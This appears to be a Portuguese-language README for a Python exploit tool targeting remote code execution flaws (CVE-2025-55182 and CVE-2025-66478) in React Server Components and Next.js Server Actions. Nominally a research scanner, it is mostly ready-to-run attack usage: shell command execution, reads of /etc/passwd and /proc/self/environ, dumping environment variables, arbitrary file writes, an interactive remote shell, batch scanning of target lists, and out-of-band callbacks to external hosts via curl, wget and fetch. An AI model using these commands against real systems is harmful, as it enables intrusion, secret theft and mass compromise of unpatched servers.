CVE-2025-55182 – Exploit de RCE em React Server Components v2.0
Uma ferramenta abrangente de pesquisa em segurança para testar as vulnerabilidades CVE-2025-55182 e CVE-2025-66478 em React Server Components (RSC) e Server Actions do Next.js.
Visão Geral da Vulnerabilidade
| Propriedade | Valor |
|---|
| IDs de CVE | CVE-2025-55182, CVE-2025-66478 |
| Pontuação CVSS | 10.0 (CRÍTICA) |
| Versões Afetadas | React < 19.2.0, Next.js < 15.0.5 |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) |
| Vetor de Ataque | Rede |
Recursos
- Varredura de vulnerabilidades estilo PortSwigger com múltiplos payloads de detecção
- Múltiplos gadgets de RCE (execSync, spawnSync, vm.runInThisContext, etc.)
- Teste de callback Out-of-Band (OOB) para verificação de RCE cega
- Capacidades de leitura/escrita de arquivos
- Execução de código JavaScript
- Modo de shell interativo
- Varredura em lote com múltiplas threads
- Suporte a proxy (compatível com Burp Suite)
- Formatos de saída JSON/Texto
Instalação
Requisitos
pip install requests
Versão do Python
Início Rápido
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Uso
Argumentos de Linha de Comando
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Seleção de Alvo
| Argumento | Descrição | Exemplo |
|---|
-u, --url | URL de um único alvo | -u https://target.com |
-l, --list | Arquivo contendo URLs | -l targets.txt |
Modos de Varredura
| Argumento | Descrição |
|---|
--detect | Detecta o uso de Next.js/RSC |
--check | Verificação rápida de vulnerabilidade (teste matemático) |
--scan | Varredura completa de vulnerabilidades (estilo PortSwigger) |
--test-all | Testa todos os gadgets e payloads de detecção |
Exploração
| Argumento | Descrição | Exemplo |
|---|
--cmd | Executa comando de shell | --cmd "id" |
--gadget | Especifica o gadget a usar | --gadget execSync |
--read | Lê arquivo do alvo | --read /etc/passwd |
--write | Escreve arquivo no alvo | --write /tmp/test.txt "content" |
--js | Executa código JavaScript | --js "process.env" |
--shell | Inicia shell interativo | --shell |
--oob | Host de callback OOB | --oob xyz.oastify.com |
Opções de Conexão
| Argumento | Descrição | Exemplo |
|---|
-p, --proxy | Proxy HTTP/HTTPS | -p http://127.0.0.1:8080 |
-c, --cookies | String de cookie | -c "session=abc123" |
-H, --header | Cabeçalho extra (repetível) | -H "X-Custom: value" |
-t, --threads | Número de threads para varredura em lote | -t 20 |
--timeout | Tempo limite de requisição em segundos | --timeout 60 |
Opções de Saída
| Argumento | Descrição |
|---|
-o, --output | Salva resultados em arquivo (.json ou .txt) |
-q, --quiet | Suprime o banner |
Exemplos de Varredura
Alvo Único
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Varredura em Lote
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Exemplos de Exploração
Execução de Comandos
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Operações de Arquivo
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Execução de JavaScript
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Shell Interativo
python3 exploit-custom.py -u https://target.com --shell
Comandos do shell:
| Comando | Descrição |
|---|
<command> | Executa comando de shell |
!read <file> | Lê arquivo |
!write <file> <content> | Escreve arquivo |
!js <code> | Executa JavaScript |
!gadget <name> | Alterna gadget |
exit | Sai do shell |
Gadgets Disponíveis
Gadgets de RCE
| Nome | Module ID | Descrição |
|---|
execSync | child_process#execSync | Execução direta de comandos de shell |
execFileSync | child_process#execFileSync | Executa arquivo binário |
spawnSync | child_process#spawnSync | Cria processo com argumentos |
vm_runInThisContext | vm#runInThisContext | Executa JS no contexto atual |
vm_runInNewContext | vm#runInNewContext | Executa JS com escape da sandbox |
vm_runInThisContext_global | vm#runInThisContext | Executa via global.process |
Gadgets de Arquivo
| Nome | Module ID | Descrição |
|---|
fs_readFileSync | fs#readFileSync | Lê arquivos arbitrários |
fs_writeFileSync | fs#writeFileSync | Escreve arquivos arbitrários |
Gadgets OOB
| Nome | Descrição |
|---|
vm_fetch | Requisição HTTP via API fetch (Node 18+) |
vm_http | Requisição HTTP via módulo http |
Payloads de Detecção (CVE-2025-66478)
O modo --scan usa estes payloads de detecção estilo PortSwigger:
| Payload | Descrição |
|---|
property_reference | Referência de propriedade delimitada por dois-pontos ["$1:a:a"] |
property_reference_v2 | Referência alternativa ["$1:b:b"] |
property_reference_constructor | Acesso ao construtor via referência de propriedade |
property_reference_proto | Acesso à cadeia proto via referência de propriedade |
action_ref_vm | ACTION_REF com vm#runInThisContext |
action_ref_execSync | ACTION_REF com child_process#execSync |
Métodos de Callback OOB
A ferramenta suporta vários métodos de callback OOB:
| Método | Descrição |
|---|
curl | Requisição HTTP via comando curl |
wget | Requisição HTTP via comando wget |
nslookup | Consulta DNS |
ping | Ping ICMP |
fetch | API fetch do Node.js |
http | Módulo http do Node.js |